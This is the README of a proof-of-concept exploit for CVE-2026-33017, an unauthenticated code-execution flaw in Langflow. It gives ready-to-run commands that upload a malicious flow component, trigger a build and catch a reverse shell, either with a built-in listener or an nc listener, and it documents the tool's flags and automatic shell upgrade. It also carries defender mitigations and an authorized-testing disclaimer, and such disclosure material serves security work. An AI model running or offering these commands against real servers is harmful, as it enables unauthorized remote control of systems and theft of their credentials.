## https://sploitus.com/exploit?id=A2EDD2EF-2EE9-526B-833C-12531E83615B
# CVE-2026-33017 Langflow ("Langflop") Unauth RCE PoC
PoC for the unauthenticated `build_public_tmp` code-execution flaw in Langflow.
It uploads a malicious component to a public flow, triggers a build, and catches a reverse shell.
**For authorized security testing only.** Use only against systems you own or have explicit permission to test.
## Requirements
- Python 3
- `requests` (`pip install requests`)
## Usage
Run the built-in listener and fire the exploit in one go:
```bash
python3 poc.py \
--url https://target:7860 \
--flow-id <public-flow-uuid> \
--lhost <your-ip> \
--lport 4444 \
--listen
```
When the shell connects it automatically attempts to upgrade to a fully interactive shell.
If you'd rather use your own listener (e.g. `nc -lvnp 4444`), drop `--listen`:
```bash
python3 poc.py --url https://target:7860 --flow-id <uuid> --lhost <your-ip> --lport 4444
```
## Options
| Flag | Description |
|------|-------------|
| `--url` | Target Langflow server URL (required) |
| `--flow-id` | UUID of the shared public flow (required) |
| `--lhost` | Reverse shell callback IP (required) |
| `--lport` | Reverse shell callback port (required) |
| `--listen` | Run the built-in listener |
| `--timeout` | HTTP request timeout in seconds (default 30) |
| `-k`, `--insecure` | Disable TLS certificate verification (self-signed / expired certs) |
| `--no-upgrade` | Skip the auto TTY upgrade, use a basic line shell |
## Information
CVE-2026-33017 is an unauthenticated RCE in Langflow's `POST /api/v1/build_public_tmp/{flow_id}/flow`
endpoint, which executes attacker-supplied Python from flow node definitions without sandboxing. To learn more check out resources below:
- Sysdig Threat Research writeup: [CVE-2026-33017: How attackers compromised Langflow AI pipelines in 20 hours](https://www.sysdig.com/blog/cve-2026-33017-how-attackers-compromised-langflow-ai-pipelines-in-20-hours)
- NVD: [ CVE-2026-33017](https://nvd.nist.gov/vuln/detail/CVE-2026-33017#range-21198362)
## Recommendations (Defenders)
Mitigations from the Sysdig Threat Research writeup:
- **Update** Langflow immediately. If a patched version is not yet available, restrict network access to the `/api/v1/build_public_tmp` endpoint or disable public flow building entirely.
- **Audit** environment variables and secrets on any publicly exposed Langflow instance. Rotate API keys, database passwords, and cloud credentials as a precaution.
- **Monitor** for outbound connections to unusual ports or known callback services (oastify.com, interact.sh, dnslog.cn), which indicate active exploitation and data exfiltration.
- **Restrict** network access to Langflow instances using firewall rules or a reverse proxy with authentication. !!Langflow should not be directly exposed to the internet without an authentication layer!!
- **Inventory** the AI/ML tooling in your environment. Platforms like Langflow, n8n, and other workflow automation tools are increasingly targeted because they often run with broad API access and are deployed outside of standard security review processes.
## Disclaimer
This tool is provided for research and authorized penetration testing.
The author takes no responsibility for misuse or damage.